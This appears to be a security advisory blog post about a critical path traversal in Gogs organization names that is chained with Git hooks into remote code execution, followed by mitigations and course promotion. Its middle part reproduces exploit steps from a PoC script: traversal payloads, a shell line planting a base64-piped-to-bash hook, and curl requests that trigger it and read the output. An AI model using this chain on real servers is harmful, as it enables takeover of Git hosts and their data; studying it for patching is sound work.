Listen to this Post
Gogs, a self-hosted Git service written in Go, is vulnerable to a path traversal flaw that allows authenticated users to achieve remote code execution (RCE). The root cause lies in the organization creation process: the function `internal/database/org.go` calls `os.MkdirAll(repox.UserPath(org.Name))` without sanitizing the `org.Name` parameter. An attacker can supply a name containing `../` sequences, such as ../../../../tmp/test, and when a repository is created under that organization, the bare Git repository is written to an arbitrary path on the server filesystem (e.g., /tmp/test).
This primitive alone allows writing repositories outside the intended data directory. However, the attacker can chain it with Gogs’ internal repository caching mechanism to achieve RCE. Gogs maintains local worktrees of repositories under `/data/gogs/data/tmp/local-r/` (with numeric IDs). These directories are writable by Git operations. By crafting an organization name that points into a specific local-r directory—e.g., ../../../../data/gogs/data/tmp/local-r/{ID}/nested—the attacker can create a repository that is physically placed inside the local clone of another repository.
Once the nested repository exists inside the outer repository’s working tree, the attacker can edit its Git hooks, specifically hooks/update, because the path traversal makes these files accessible through the outer repository’s clone. The attacker commits a malicious Bash script as the `hooks/update` file and pushes the change. When the nested repository is later interacted with (e.g., via a push or API call), the hook executes, granting the attacker RCE as the `git` user.
The exploit requires only a registered user account (self-registration is enabled by default) and the ability to create organizations and repositories. No administrative privileges are needed. The vulnerability is critical because it allows an unprivileged authenticated user to execute arbitrary commands on the server.
A public proof-of-concept script (gogs-rce.py) demonstrates the full attack chain: obtaining an API token, creating a personal repository, determining its local-r ID, creating a path-traversal organization, nesting a repository inside the local clone, writing a malicious hook, and triggering it to obtain command output.
DailyCVE Form:
Platform: ……. Gogs
Version: …….. all (fixed)
Vulnerability :…… Path Traversal
Severity: ……. Critical
date: ………. 2026-06-19
Prediction: 2026-06-26 (estimated)
What Undercode Say:
Analytics – Bash Commands & PoC Artifacts
docker-compose.yml for default Gogs instance services: db: image: postgres:16-alpine environment: POSTGRES_USER: gogs POSTGRES_PASSWORD: gogs POSTGRES_DB: gogs volumes: - postgres-data:/var/lib/postgresql/data restart: unless-stopped healthcheck: test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ] interval: 5s timeout: 5s retries: 5 gogs: image: gogs/gogs depends_on: db: condition: service_healthy ports: - "3000:3000" volumes: - gogs-data:/data restart: unless-stopped volumes: gogs-data: postgres-data:
Attacker registration (manual) curl -X POST http://localhost:3000/user/sign_up \ -d "user_name=attacker&password=attacker&retype=attacker&[email protected]"
Excerpt from gogs-rce.py (core exploitation logic)
Step 5: Create path-traversal organization
org_name = f"../../../../data/gogs/data/tmp/local-r/{repo_id}/nested"
r = session.post(f"{BASE}/api/v1/orgs", json={"username": org_name, "repo_name": "rce"})
Step 7: Create nested repository inside the local clone
r = session.post(f"{BASE}/api/v1/orgs/{org_name}/repos", json={"name": "rce"})
Step 10: Write malicious hook via git push
os.system(f"echo 'echo \"aWQ=\" | base64 -d | bash > pwned' > nested/rce.git/hooks/update")
os.system(f"git add nested/rce.git/hooks/update && git commit -m 'poc' && git push")
Step 15: Trigger hook and read output
r = session.get(f"{BASE}/attacker/writer/raw/master/nested/rce.git/pwned")
print(r.text) uid=1000(git) gid=1000(git) ...
Manual hook injection (alternative) cd /tmp/poc-writer-XXXXXX echo '!/bin/bash\necho "aWQ=" | base64 -d | bash > /tmp/pwned' > nested/rce.git/hooks/update chmod +x nested/rce.git/hooks/update git add nested/rce.git/hooks/update git commit -m "malicious hook" git push origin master
Trigger the hook (any write operation on nested repo)
curl -X POST http://localhost:3000/api/v1/repos/../../../../data/gogs/data/tmp/local-r/1/nested/rce/contents/test.txt \
-H "Authorization: token $TOKEN" \
-d '{"content":"dGVzdA==","message":"trigger"}'
Then read the output
curl http://localhost:3000/attacker/writer/raw/master/nested/rce.git/pwned
Exploit:
- Create a personal repository – The attacker creates a normal repository (e.g.,
writer) and obtains its internal local-r ID (e.g.,1). - Create a path-traversal organization – Using the ID, the attacker creates an organization with the name
../../../../data/gogs/data/tmp/local-r/1/nested. This causes the organization’s directory to be created inside the local clone of the personal repository. - Create a repository inside the malicious organization – The attacker creates a repository (e.g.,
rce) under that organization. Because of the path traversal, this repository’s bare Git data is written to `nested/rce.git` inside the personal repository’s working tree. - Edit the Git hook – The attacker clones the personal repository, writes a malicious Bash script into
nested/rce.git/hooks/update, and commits/pushes the change. The hook is now stored in the nested repository’s hook directory. - Trigger the hook – Any interaction with the nested repository (e.g., a push, API file creation, or web edit) executes the `update` hook. The hook runs as the `git` user, executing arbitrary commands.
- Achieve RCE – The attacker can read the output of the command (e.g., via a file written by the hook) and confirm code execution.
Protection:
- Upgrade Gogs to a patched version that sanitizes organization names and rejects `../` sequences. The fix is expected in a future release (check the official repository for the latest version).
- Disable self-registration if not required, or restrict organization creation to trusted users only.
- Apply filesystem permissions to limit the `git` user’s write access to sensitive directories, though this is a partial mitigation.
- Monitor for suspicious organization names containing `../` or other path traversal patterns in server logs.
- Use a Web Application Firewall (WAF) to block requests with `../` in organization or repository names.
- Implement additional input validation on the server side to reject any organization name containing path traversal sequences.
Impact:
In the default configuration, any authenticated user can self-register and create organizations. This allows an unprivileged attacker to exploit the vulnerability and achieve remote code execution as the `git` user. The `git` user typically has significant access to the Gogs data directory and can read, modify, or delete all repositories, configuration files, and potentially escalate privileges further. This compromises the entire Gogs instance, leading to data loss, service disruption, and lateral movement within the host system. The vulnerability is rated Critical due to the low complexity, low privileges required, and severe impact on confidentiality, integrity, and availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

